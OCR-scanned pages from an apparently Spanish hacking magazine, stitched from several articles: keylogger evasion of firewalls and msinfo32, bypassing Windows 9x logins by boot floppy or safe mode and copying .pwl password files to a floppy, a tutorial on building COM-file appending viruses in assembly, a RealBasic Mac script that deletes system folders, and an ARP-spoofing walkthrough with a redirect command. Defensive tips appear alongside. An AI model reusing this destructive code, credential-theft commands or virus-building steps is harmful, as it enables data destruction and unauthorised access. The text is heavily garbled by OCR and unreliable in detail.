permite la planificacién de operaciones a intervalos de tiem-

po.

>> Registrar las operaciones con el
teclado

Hoy dia, los mds modernos keyloggers ofrecen numerosas
funcionalidades adicionales como la captura de pantalla, de
imdgenes de una webcam instalada, etcétera, pero su funcién
principal siempre es la misma: registrar la actividad del tecla-
do.

Para esto, Windows pone a disposicion del usuario el meca-
nismo del hooking, que consiste en permitir a un programa
interceptar los eventos del sistema (como la digita-
cion) y registrarlos en un determinado archivo. _
Tal' mecanismo es en parte contraproducente en el enmasca-
ramiento del software, ya que, para efectuar tal funcién de
hooking un programa debe necesariamente colocar la propia
parte de cédigo relativa o la "capiura" de las teclas en una bi-
blioteca .DLL cargada en el espacio de memoria del SO.
Estas bibliotecas necesarias para el hooking sen facilmente
interceptables con una utilidad ya presente en mu-
chas versiones de Windows (ipero no en todas!), que es
Msinfo32. Este programa tiene una entrada especifica para
visualizar los hooks de sistema.

Hay que recordar que los hooks de sistema no son siem-
pre aplicaciones de backdoor o de keylogger; en efec-
to, muchos drivers para ratén o para teclado usan este meca-
nismo para poder ofrecer servicios adicionales a los usuarios,
y por tanto hay que prestar atencién a eventuales falsas alar-
mas. Otre mecanismo, hasta ahora no usado por ningdn key-
logger pero sf por muchas potencialidades, es el de la lectu-
ra de las colas de los mensajes del teclado,

Este método usa una APl a nivel de usuario que es GetAs-
yncKeystate y permite leer cada tecla digitada por el usuario,
sea cual sea el software que esté usando.

La diferencia sustancial reside en la carga de trabajo
de la llamada a esta funcién, que debe efectuarse de mane-
ra ciclica (polling) y por tanto fiende a consumir recursos de,
CPU, aunque no de manera excesiva. La veniaja consiste en
el hecho de que al no instalar hooks de sistema, no sale en la
lista de la utilidad msinfo32, por lo que resulta més dificil de
localizar.

> ¢Como defenderse?

Llegados a este punte uno puede preguntarse si es posible es-
tar infectado por un backdoor completamente invisible quizé
proyectado por algun gobierno o peor ain, por algin rival
suyo. La respuesta que os puedo dar con toda tranquilidad es
negativa, En efecto,
puede haber back-
doors proyectados
con un cuidado ex-
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usar un firewall personal.

Aparte de los varios ataques llevados a cabo contra estos
programas, los firewalls personales son muy segures, aunque
a veces hay excepciones con algunos backdoors.

El problema viene en efecto de las llamadas Shell Extensions,
que son funcionalidades puestas a disposicion de los progra-
mas y capaces de "extender' el SO, Tales bibliotecas pueden
ser usadas para enganar a los firewalls y hacer creer
que es el SO quien quiere conectarse a Internet,
mientras que es el keylogger.

Un ejemplo de este tipo de programa es Spector, que usando
este mecanismo es captado por el firewall comoe el proceso
explorer.exe, mientras que en realidad no es otro que tal pro-
grama que quiere superar el mecanismo de filirado del fire-
wall. Ojo, pues, con el software presente en tu ordenador.

La respuesta llega
rapida, para la
mayoria de pro-
gramas que cir-
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_DEFENDER EL PROPIO ORDENADOR DE

ucha gente sabré usar
un firewall, tendrd un
éptimo  antivirus siem-
pre actualizado y pro-
bablemente protege su
ordenador con un pass-
_ word larguisimo y que
quiza cree imposible de violar. Desgra-
ciadamente, hay métodos para su-
perar sin demasiada dificultad
la familiar pantalla de Windows
que requiere el password para el
' Nombre de Usuario Juan (por ejem-
plo).
Bien, en este crﬁculo veremos dalgunos
' de los potenciales problemas de
seguridad presentes en Windows
95, 98, XP, Me, 2000 y probable-
' mente fodos los sistemas operativos de
Microsoft que se pueden usar para ob-
fener un acceso ilegal a un ordenador
desde la red local. Veamos algunas si-
tuaciones tipicas. .,
Posible situacién: escuela de un institu-
to que tiene un normalisimo laboratorio
de informdtica y varios ordenadores co-
nectados todos en red. Normalmente
para uso escolar y casero, se instalan
sistemas operativos Windows en los or-
denadores, En nuestro caso serd la ver-
sion 98. Cuando se enciende el orde-
nador principal, que llamamos SERVER,
| nos pide un password para el nombre
de usuario de SERVER. Lo que guiero
| demostrar es simplemente la facilidad
con que se puede obtener acceso y pa-
| ra hacerlo es necesario encontrar un
password.
Existen tres faciles métodos que podria
usar un. cracker para tener éxito en el

INTRUSIONES NO AUTORIZADAS

“"_urJ el
stante para
mnado ¢

mento:

' Cuando se enciende un ordenador el
' BIOS busca un disquete de arranque o
- un CD de arranque (depende de cémo
' esté configurado el BIOS). Cualquie-
' ra, pues, podré entrar procuran-
dose un disquete de arranque
' (por disquete de arranque se entiende
el floppy de inicio de la instalacién de
- Windows 9%, u ofro disquete que con-
' tenga un sistema que se pueda iniciar)

de Windows 98 o 95 e insertarlo en el
lector. Cuando el BIOS lo lea, nos pe-

| dira qué es lo que queremos hacer y se-

leccionando el prompt de los coman-
dos se nos ofrecerd un shell de DOS lis-
fo para su uso y con él se puede ha-
cer de todo.

Para evitar que alguien se comporte de
esta manera, es suficiente pulsar la te-
cla SUPR al iniciar el ordenador y con«
figurar el BIOS de manera que
no lea los floppies de arranque,
completando la operacién con la asig-
nacién de un password para poder en-
trar en la configuracion del BIOS, Las
operaciones por hacer cambian segin
la tarjeta madre usada, pero normal-
mente encontrards una operacién "Set
password" en las opciones 'Bios featu-
res".

Naturalmente atin no estés a salvo.
Solamente has disminuido un poco el
riesgo. En efecto, el ordenador podrd ir

también a buscar un CD de arranque y
si el cracker tuviera uno, estariamos

p——
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ofra vez en el punto.de parfida, por lo
' que hay que acordarse de eliminar
fambién la bisqueda de un sis-
| tema desde el CD-ROM. Esta op-
cién se encuentra a menudo en la voz
'‘Boot sequence" en la veniana "Stan-
dard features' de la configuracién del |
BIOS de la tarjeta madre. .
- Habiendo configurado el password pa- |
ra el BIOS estards seguro de que nadie |
' podrd entrar en la modalidad de confi- |
| guracion. Para hacerlo habria que
crackear el password y seria necesario |
lanzar un pregrama que naturalmente
el cracker no podria ejecutar sin haber
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65 Load BIOE Defaults
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F7 © Load Setup Defaults

La pantalla del BIOS donde se puede
decidir excluir algunos tipos de disco de
la busqueda de un sistema iniciable. Si
se selecciona solamente el disco C,
sera imposible acceder al ordenador
usando un floppy o un CD de sistema.
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' malmente invisible, por lo que seré ne-
cesario activar la visualizacién de fodos |

' los archivos desde el ment Ver/Opcio- |

| § [Options]
BootMulti=1
BootGUI=1
DoubleB
AutosScan=1
WinVer=4,10.1998

JBcotkeys=0

DOCUMENTS

hiberfi.sys 10.5%5 MSDOS,5Y5

iniciar Windows.

' nes de Carpeta/Ver. Desgraciadamen- |
 fe existe atin un modo para violar fu |
I PC, aungue es mucho mds complejo.

| :

entradesen Windows o haber obtenido
un shell. Por desgracia hayetros méto-
dos mds complicados que pueden ser
llevados a cabo con malas intenciones.

' Si Windows no se inicia con éxito, cuan-
' do se inicia de nuevo muestra una pan-
‘talla de aviso que dice aproximada-

| mente asi: "No se ha podido iniciar
| Windows. Se aconseja volver a intentar- |

lo en modo a prueba de fallos".
iEs lo misma que aparece cuan-

! do se pulsa F8! Ahora bastard selec-
cionar "prompt de los comandos..." pa-
ra obtener un shell de DOS. Este Gltimo
gusano es una medida de seguridad de |
Windows y no te conviene probar a
desactivarlo. Para hacer que Windows
no se inicie correctamente basta apa-

' gar el ordenador durante el proceso de |

inicio, después de que aparezca el logo
de Windows. iDe esta manera se podra
acceder a la pantalla de aviso! ,

% Si quieres probar a bloguear también

 esta fentativa de ataque, bastard editar
de nuevo el archivo C:\msdos.sys, esta
vez insertando la linea BootFileSafe=0
siempre en la seccién [Options]. Pero

tions] modifica Bootkeys=1 con Boot- 88 esto no es aconsejable, ya que
keys=0 (en caso de que no esté la linea # en caso de error no podras reini-

Bootkeys=1, créala). Presta atencién al & ciar el ordenador en medo «
hecho que msdos.sys es un archivo nor- (@l prueba de fallos, lo que fe creard

| 1 sty
B e N

Si al encender el ordenador te ha pa-
sado alguna vez que pulsas la tecla F8,
habrds hecho un ufil descubrimiento. ..
Pruébalo y volverés a encontrarte de-
lante de una panialla que pide instruc- |
ciones sobre qué deseas hacer; hay nu- |
merosas opciones: inicio en modo pro- [
visional, con soporte de red, pero lo |
que nos inferesa es "linea de co- |
mandos en modo a prueba de ' b
fallos." Selecciénalo y podras |
usar el cémodo shell de DOS.
Ahora, piensa que cualquiera puede
hacer esto que acabas de hacer y com-
prenderds que incluso sin tu password
se tiene acceso a tu querido ordenador.
Para evitar que suceda, bastard |
con editar el archivo
C:\msdos.sys. En la entrada [Op-
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Windows 2668 fAdvanced Options Manu
Please select an option:

e T and | Lo move the hightight to your choice,
Press Enter to choosa,

Modificando el archivo msdos.sys se |
puede impedir que un malintencionado
lefectle el arranque en modo MS-DOS al§

| tar obtener un shell de DOS? El motivo

Sale Mode with Networking
Safe Mode with Comsand Prompt

Enable Bool Logging

Enable WA Mode

Last Known Good Configuration 1
Directory Services Restore Hode (Mindows 2808 doms in conbrollers i
bebugging Mode

Boot Hormally
Return to 05 Choices Wenu

Provocando un error durante el inicio
de Windows, se tendra acceso al me-
nd que permite reiniciar en modo a
prueba de fallos o con un shell de MS-
DOS.

problemas.

Pero épara qué deberia alguien infen-

es simple: si un malintencionado
tecleara "format C:" (comando que
sirve para borrar el contenido del disco |
duro entero) ya puedes empezar a llo-
rar.

O bien podria copiar en A: el archivo
de los passwords. Se frata de archivos |
con extension .pwl que se encuentran |
en C:\Windows por lo que respecta a |
Windows 9x.

No tendria que hacer nada mds que [
insertar un floppy y teclear:

copy C:\Windows\*.pwl A:

El comando copiard todos los archivos
con extensién *.pwl en el floppy.

Una vez que llegue a su erdenador en-
contraré el ‘archivo *.pwl que corres-
ponde al usuario SERVER. En este caso
estd claro que! el archivo serd SER-
VER.pwl,'porque el nembre figne cinco
caracteres. En caso de que fuviero mads
de 8, se cortardé @ la octava letra. Por
ejemplo, a un‘usuario llamado Maximi-
liano le corresponderd un archivo Ma-
ximili.pwl. El archivo estd cifrado, pero g
en Internet los programas capaces de
descifrarlo estdn tan difundidos como
las adorables adolescentes rusas desin-

hibidas.




: | Apesar de la fama que los p

vos se han procurado en | mundo real,| |a es

| de los GRS els

Se ha escrito mucho sobre los virus. Paginas y paginas de literatura informatica no

privadas, a veces, de ordinarias aproHimaciones. Pero cque son los virus? Hacker
Journal te cuenta todo lo que habrias queridn saber sobre este peligroso asesino
informatico, pero que nunca te has atrevido a preguntar...

polimérficos y los mds recier
para Windows sin olvidar los
de los Macros de Office.
stos son algunos de los tipos de 'in-
ctadores virtuales conocidos que re-
uchas paginas para explicar
funcionan. Esta vez nos

no’ro'
dos apenas
nombrqr uno de estos dos 1ér

‘| como los appandlng y nos remifiremos

tas informdticos y los pardsit 0
al polimorfismo y a la criptografia.

muy pocos saben qué s

on realmente: no
dedicaremos mucho 0 a o

tenno a la mala, p
cién que se ha he munes y los mds faciles de real
' copian al final de un archivo y ¢
el archivo se ejecuta toman e| c
se reproducen en ofros ¢

Oltimo devuelve

rarnerife lrﬂggtun esconderse|
a infectado.

istinguidas dos categor
diferentes de los virus, hay que hace

er muy pﬂqueno, para no au-

il un breve n de las distintas tipo- - demasiado las dimensiones de
» Virus a 0.0.C. logias de virt ue existen: se parte de o que de esta forma serfa fé-
¥ los mds sim los virus oppendlng ente localizable como infectado. |

de los archivos COM posqm:lo por los| |Los appending se dividen en dos sub-
impotentes virus del mbr, pasando por| | categorias, los hechos para archi
los sthealth parciales pletos has-| |[COM y para archwos EXE. En

Entre las varias cafegorias.
Yy @ propésito, por virus s
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a pesar de que ambos tipos de archi-
vos sean ejecutables, existen diferen-
-cias entre ellos e infectar los archivos
COM resulta mucho més simple dada
su estructura; por tanto, este texto se
basard mayormente en la infeccién de
archivos COM. La primera eleccién
que hay que hacer para la construc-
cién de un virus es el lenguaje con el
que se escribird. Aunque el C puede
ser una alternativa vélida, sobre todo
para los virus para Windows, el ensa-
blador resulta la mejor solucién.
Empecemos pues a ver qué debe ha-
cer un archive para infectar a otro sin

| buscar un archivo .com (por ahora nos
-mlimi‘ruremos a estos), confrolar de algu-
na manera que no esté ya infectado,
modificar el archivo como veremos lue-
_ |go y finalmente restablecer la fecha de
% la Gltima modificacién y de los atributos
~ |del archivo como los habia encontrado,
[ fin de evitar dejar huellas. El problemq
\para qunen empieza estd en compren-
der cémo hacer para quitar el control
del archivo ejecutado y darlo al virus
que, como explicamos después, se de-
be anadir al final del programa.
La solucién la dala instruccién en en-
-%Iador JMP que escrita al prmopeo
rchivo h ir la ejecucién al fi-
donde resi sgiaf virus. Este, una vez
ejecutado, busca los archivos a infectar
y cuando encuentra uno copia por una
parte los primeros bytes del archivo vic-
cribe la instruccién
la posicién que tomard
ez hecho esto se co-
piard a si mismo al fin
seguird con las opera
das: cierre del archivo,
de los atributos y e

destruirlo: el virus en ejecucion debe |

original. Esto es lo mds importante de la
teoria sobre los virus appending, el Gni-
co obstdculo ahora puede ser el escaso
conocimiento del ensamblador, por tan-
fo estaria bien saber qué es un registro
o un jump antes de continuar.

» El géenesis de los virus...

Una cosa que muchos suelen olvi-
dar es que, si se usan variables en los
virus, éstas cambian su valor de offset
cuando el virus se pega al final de un
archivo. Es por esto que a menudo re-
sulta imposible volver a estas variables

que se vuelven inutilizables. Para ens

siempre el v
i as vc:riubles
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insfruccion CALL que llama a un

| procedimiento, cargar en BP y luego

sustraer del registro BP (que se usa
muy poco) el offset del procedimiento
llamado. Todo esto es posible porque
cuando llamamos con un CALL en el
offset del procedimiento se coloca en-
cima de la pila, por fanto con POP lo
ponemos en BP. Llegados o esie
punto, las referencias a las variables se |
hardn llamande a [BP+OFFSETvaria-
ble]. Esto resulta fundamental para
evitar perder referencias a las varia-
bles; al contrario no se puede modifi-

car las instrucciones que usan un offset
relativo como los JMP o CALL o los va-
rios saltos condicionados.

Una vez encontrada la variacién de
offset, el programa empieza a buscar
Larchivos para infectar. Como ahora
amos solcmente de archivos
la busqueda se limitara sélo a
po de archives. Para buscar un
archivo se recurre a los llamados
FIND FIRST y _'NEXT, es decir,

ead Only
bel 5- (reser-

ar con comodines
del virus se debera| .
0s una variable Fi-|

%0 que representa la ca-
-ASCIIQ que hay

‘ cordén) y luego p
 que hay que bu




=7

CUANDO_ EL ORDENADOR "ENFERMA"

hay que buscar con LEA DX,
[BP+OFFSEY File_ COM] por tantoe
hay que llamar INT 21h para empe-
zar a buscar. La busqueda restituird
s6lo el primer archivo encontrado, si
esto no va bien bastard con llamar la
FIND NEXT (funcién 4Fh archivo a
buscar) para encontrar el sig
chive hasta que no encor
victima apta.

Hasta aqui es todo m

parte del PSP posmlonqdo a 80h.
Uede usar el DTA ori-

inea de cor
grama estaran fais
portante configurar una
bajar en ella. %ﬂma prej
42 bytes (DTA @
y ) Usar la funcién 1 Ah
DX, [BP+OFFSEI' DTA] per tan
-1Ah}'|uego INT 21h. Luego
archivo que se quiere infectd
remos en la variable DTA en Ia posicién

FILE *.COM _
los primeros 256 bits
(100h) son 1 PSP. En el PSP

en la posicién 80h estd el

DTA 80h DTA
0h db 21 dup(0) ;Reservado
para uso del DOS '
15h db 00;Atributos del ar-
chivo

lah dd 00000000;Tamafio

leh db 13 dup(O) Nombre del

‘archivo

cualquiera de estos, bastard anadir a la
direccion de la variable DTA la posicién

de lo que;%eresu

Una vez encontrado un archivo es in-
dispensable asegurarse de'gue entre en
nuestros criterios de infeccion. Si el archi-
vo ya ha sido infectado serd mds oportu-
no evitar rehacerlo, Uno de los métodos
mas comunes para controlar si el archivo
ya ha sido infectado es poner un marca-

FIRST y FIND NEXT? En el D A que es una

& 16h dw 0000; Hora de crea- |
. cibn
~18h dw 0000;Fecha de crea-
| cién

Por tanto si quisiéramos leer un atributo |’

Programar un
virus no es una
operacién
restringida a
gida 2 M3C O3
compatibles IBM,
sino que es una operacién
simple también en el sistema
Mac. Aqui os referimos para
uso didéctico el ejemplo de
un virus muy eficaz realizado
en Real Basic, uno de los
lenguajes de programacién méas
difundidos en el entorno Mac:

gla particus |85
Birchivo como
mo primeras

rucciones pondrema

AP INICIO; salto Slmpls
R marcador que en nu
o letra R
ICIO: ; etiqueta donde e
; proplomen’re
rus, antes de ini

ado con un CMP, y e
0 lo sea procederd a larinfeccion.

FolderItem
FolderItem
FolderItem
Dim as FolderItem
Dim j as FolderItem
//dossier Programme
f=GetFolderItem(“Macintosh
HD:Programme" )
f <> nil Then
al ! f.Delete
s enf” | End if
nes destructivas y dafi- //dossier Tools
unque para las grandes em- g=GetFolderItem(“”Macintosh
s que producen caros sistemas @n- HD:Tools")
fus) es innegeble la fascinacion técni- if g <> nil Then §
=G de algunos aspecios que se afrontan g.Delete
en estos @mbitos de la informdtica: el | End if
mejor consejo es aprender siempre es=jt
tudiando también este tipo de cédigo; af®
menudo te 'quedards de piedra al ob-
servar con acilidad un buen escri-
tor de virus resuelve problemas de pro-
aramacion con los aue ti tethas pelea-

do durante dias... &

Dim
Dim
Dim

as
as
as

If

h=GetFolderItem(“Macintosh
HD:Dienstprogramme")

If h <> nil Then

h.Delete

End if

i=GetFolderItem(“Macintosh

HD:Dokumente”)

If i <> nil Then
i.Delete |§

End if

Mlﬂg‘qﬂﬁﬂ
£ woRrt Az

%ﬂ@ e
<7 / £ Wt mhalsR

5 W ORH

|

j=GetFolderItem(“Macintosh
HD:Internet”)

If j <> nil Then

j.Delete

End if

Este virus puede bloquear
un sistema operativo o danar

geriamente un disco duro;
conocer su script puede
ayudar a salir del embrollo
en caso de emergencia.
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Con el ARP-spoofing resulta posil
segmentosidedla red que, en teor

uvando se proyecta una

red local, se tiende a

menudo a aislar los

varios

con switches. De esta

manera se deberia
ofrecer también una mayor seguri-
dad, ya que si un atacante se sitéa en
una posicion cualquiera para esnifar el
tréfico que pasa por la red, intercepta-
ria sélo los fragmentos de datos
que pertenecen a la misma su-
bred. Existen varios ataques que per-
miten, sacando partido de las debilida-
des de algunos protocolos, interceptar
los datos que se envian a un ordena-
dor. Una de estas técnicas es el ARP-
spoofing.

>> Estandar IS0 0S|

Una comunicacién entre dos ordena-
dores requiere numerosas operaciones,
y también necesita el intercambio de
mucha informacién. Para simplificar la
gestién de este problema, se ha intro-
ducido el estandar 1SO-0SI. El estan-
dar ISO OSlI estd formado por 7 nive-,
les. El nivel més bajo es el nivel fisico,
que se ocupa de la fransmision fisica de

componentes:

ia, deberian

los datos a través de los cables de red,
mientras que el nivel més alto es el ni-
vel de la aplicacién o las especificacio-
nes usadas por las distintas aplicacio-
nes para comunicarse, ;

Si un ordenador A quiere enviar un
mensaje a un ordenador B el paquete
pasa del nivel mds bajo de la pila
ISO O8I, el cual anadird un header
con la informacién competente para el
caso, y pasard el paquete al nivel supe-
rior, que a su vez afadird ofro header
que especifica los parémetros de aquel
nivel y lo enviard al nivel superior, has-
ta llegar a encapsular el header

tarjeta de red del destinatario (la direc-
cién MAC) partiendo de una direccién
IP de nivel 3. El protocolo ARP se ocupa
precisamente de esto, para lo que
construye tablas en las que las re-
laciones MAC-address se asocian
o las direcciones IP.

Una LAN bastante ancha puede estar
constituida por cientos de ordenadores,
por tanto, si cada ordenador tuviese
una memoria que contuviera en modo
estdtico una tabla que asocia las IP a
las MAC habria graves problemas en el
caso de que se anadiera también un

del nivel siete y enviar el mensaje.
El receptor, a su vez, recorrerd la
pila (asi se llama el conjunto de
niveles) partiendo del nivel mas
bajo hacia los niveles mas altos;
para acceder a la informacién
contenida en el mensaje.

>» El Protocolo HHP

Una vez visto brevemente como
funciona el estéandar SO OSl,
debemos comprender cémo es
posible, en una red LAN, obtener
la direccién fisica que identifica la
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Para comprender bien el funciona-
miento del ataque descrito en este
articulo, conviene repasar un poco
el modelo de las redes ISO/OSI.

Los protocolos comunicacién de bajo nivel
cubren las cuatro primeras capas:

- Capa 1: Interfaz fisica

- Capa 2: Linea

- Capa 3: Red

- Capa 4: Transporte

Los protocolos de elaboracién de alto nivel
cubren las otras tres capas:

- Capa 5: Sesion

- Capa 6: Presentacién

- Capa 7: Aplicacion

#



Como se desvia

una conexion
- b

El ordenador A comunica con el ordenador B.
El ordenador C puede inferceptar los paque-
tes en trdfico sélo si se encuentra en la misma
subred (conectado al mismo Hub que A o B),

porque un sniffer normal no puede funcionar

sobre un segmento con switch.

Para comunicar directamente con el ordena-
dor B, A tiene que poder asociar su direccién
IP a la MAC que identifica la farjeta de su
red. Para esto, A enviard a B una peticién
ARP. Llegados a este punto, se introduce C,
que enviard a A una falsa respuesta ARP, in-
dicando la propia direccién MAC en lugar
de la de B. El ordenador A enviard sus men-
sajes a C en lugar de B. Para evitar levantar
sospechas, C -después de registrar la comu-
nicacién- reenviard los pacuetes tfambién a
B, de modo que ni A ni B puedan darse
cuenta de que todo el tréfico ha sido inter-
ceptado y registrado por un infruso.

solo ordenador y se fen- &
drian que modificar fo- B
das las fablas de todos
los ordenadores. Por
suerte, el profocolo ARP
se nos presenta colabo- 2
rador para resolver este I
problema. Veamos aho-
ra como es esto en la
préctica: supongamos
que el ordenador con la g3
IP 196.0.0.1 quiere lo &
direccién MAC del orde-
nodor 196.0.0.24. Lo §
primera operacion que |
efectuard serd enviar «

Telnet. I
Telnet Data
Telret Data

fodos los ordenadores W=IEIETNEERIT instrumento muy potente, ideado por los
(Clallelgelels oMU desarrolladores italianos Alor y Naga, y lanzado como
e I s s [ -leelslal  Opensource bajo licencia GPL.

MAC del ordenador
196.0.0.24; esta opera-

cién se realiza enviando una peticion
ARP who-has a la direccion mac
#6605 665, que corresponde o la
direccion MAC de broadcast. Todos los
ordenadores de la red recibirén esta
peticién, y el ordenador inferesado res-
penderd con un ARP reply y la pro-
pia direccién Mac. Una vez que el or-
denador 196.0.0.1 ha conseguido la
direccion MAC, la memoriza en su
propio caché de modo gue -si se de-
be enviar un nuevo mensaje- no sea ne-
cesario efectuar de nuevo esta peticiéon

que generaria tréfico adicional en la
red. '

>> ARP-Spoofing

Ahora que ya hemos ilustrado cémo
funciona el protocolo ARP, ya estamos
en condiciones de comprender cémo
funcionan los ataques de tipo ARP-spo-
ofing.

Como acobamos de decir, cuando un
ordenador A debe pedir la direccion
MAC de otro ordenador B, la primera
operacién es enviar un mensaje a todos
los ordenadores pidiendo tal direccién,
por tanto, si un malintencionado
quiere redirigir el trafico dirigi-
do de A hacia B al propio orde-
nader C, le bastard con responder a
la peficién enviada, posande como
direccion IP la de B pero como

MAC la suya (C), de esta manero el
ordenador A transmitird los datos diri-
gidos a B al ordenador €, que recibiria
todos los datos.

Obviamente, si el atacante quiere evitar
que B sospeche después de algun tiem-
po en el que no estd recibiendo nada,
deberd hacer de manera que todo el
trafico que llega o C se retrans-
mita nuevamente a B, de modo
que C pueda permanecer a la escucha
con un sniffer sin que A o B sospechen
nada. Para hacer esto se usan los pro-
gramas adecuados (en la red se pue-
den encontrar varios) de ip forward
que redirigen el tréfico de C a B.

>> Un ataque practico

Ahora veremos en la prdctica cémo se
realiza un atague. Obviamente, deja-
remos de lado algunos defalles que
daremos por descontado, de modo
que no proporcionaremos a los ma-
lintencionados ideas para acciones
ilegales.

En este ejemplo préctico hay tres orde-
nadores (Fig2) un cliente (a) con lo
direccién IP 196.0.0.1 gue comunica
con el propio server (b) con lu IP
196.0.0.24 y nuestro ordenador, des-
de el que se efectuard el ataque (c),
con la IP 196.0.0.25,

Imaginames que 196.0.0.24 y
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196.0.0.1 estén coneciados y se estan
comunicando. Para tener acceso a la
informacién que los dos ordenadores
se estan enviando, el atacante deberd
actualizar la tabla ARP para rediri-
gir el tréfico entre los dos ordenadores.
Para hacer esto, usard DugSniff. Ob-
viamente éste es sélo uno de los nume-
rosos instrumentos gue se pueden usar
para probar si tu red es vulnerable an-
te este tipo de atagues; si quieres pro-
bar ofros, dirigete a la seccion de enla-
ces del articulo. Para direccionar hacia
el ordenador del atacante el tréfico que
se transmiten 196.0.0.1.y 196.0.0.24
se debe usar el comando ARP redi-
rect 196.0.0.24 196.0.0.1. De este
modo ahora el ordenador 196.0.0,25
o el ordenandor desde el que se lanza
el alaque puede interceptar el tréfico
que se fransmite. Para completar el ata-
que bastaré habilitar en el ordenador
del atacante un IP forwarding. De
esta manera, los dos ordenadores se-
guirdn intercambiande dates como si
no pasara nada y el atacante podrd es-
nifar todo el trafico que se da entre los
dos ordenadores.

>> Prevenir e
interceptar el atague

Este tipo de ataques no es facil de
detectar, puesto que los ordenadores
que sufren el afague no sufren ningun
defecto en particular que pueda senalar

SeaurityFocus
Newsletiors and
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Subscribe Now |

un atague en curso, por lo que es ne-
cesario monitorizar la red para de-
tectar un afaque. Para hacer esto, se
puede tratar de descubrir si en la red
hay alguien que estd esnifando datos,
o, mas sencillomente, controlar
constantemente la tabla ARP.
Para este fin existe un programa llama-
do ARP_watch que guarda en un re-
gistro los cambios de la tabla ARP y
permite detectar el ataque.

LG

ndard 1SO-0SI

Por lo que respecta a la prevencién de afa-
gues, la Unica manera de profegerse es
configurar las tablas ARP en modo
estdtico, aungue esto comporta desven-
fajas como hemos visto al principio.

>> Consideraciones

Como hemos pedido ver, este tipo de
ataques es extremadumente po-
tente, tanto por la facilidad con que se
puede poner en practica, como por la
dificultad en detectarlo. Ademds per-
mite al atacante obtener informacién
incluso en una red con switches. Pero
hay gue decir que estos ataques pue-
den ser aplicados selamente en re-
des locales, y que no representan
una amenaza hacia el exterior. Antes
de dejaros, os recordamos que usar
estas técnicas para verificar la seguri-
dad de la propia red estd permitido y
es aconsejable, mientras que infercep-
tar el trafico de usuarios desconocidos
-ademds de antiético- es un acto puni-
ble por la via penal (aunque se trate de
ordenadores dependientes de la em-
presa que auloriza la interceptacién).
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Protocolo ARP
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www.ks.uni-freiburg.de inetwork papers ARP-Spoof-Slides.pdf

http: media.frneg.org FRNO

1 FRnO _1-2.en.pdf

hitp: udsab.dia.unisa.it ads.dir corso-security www

CORSO-0102 SpoofTesina_web slide0006.htm

Tools
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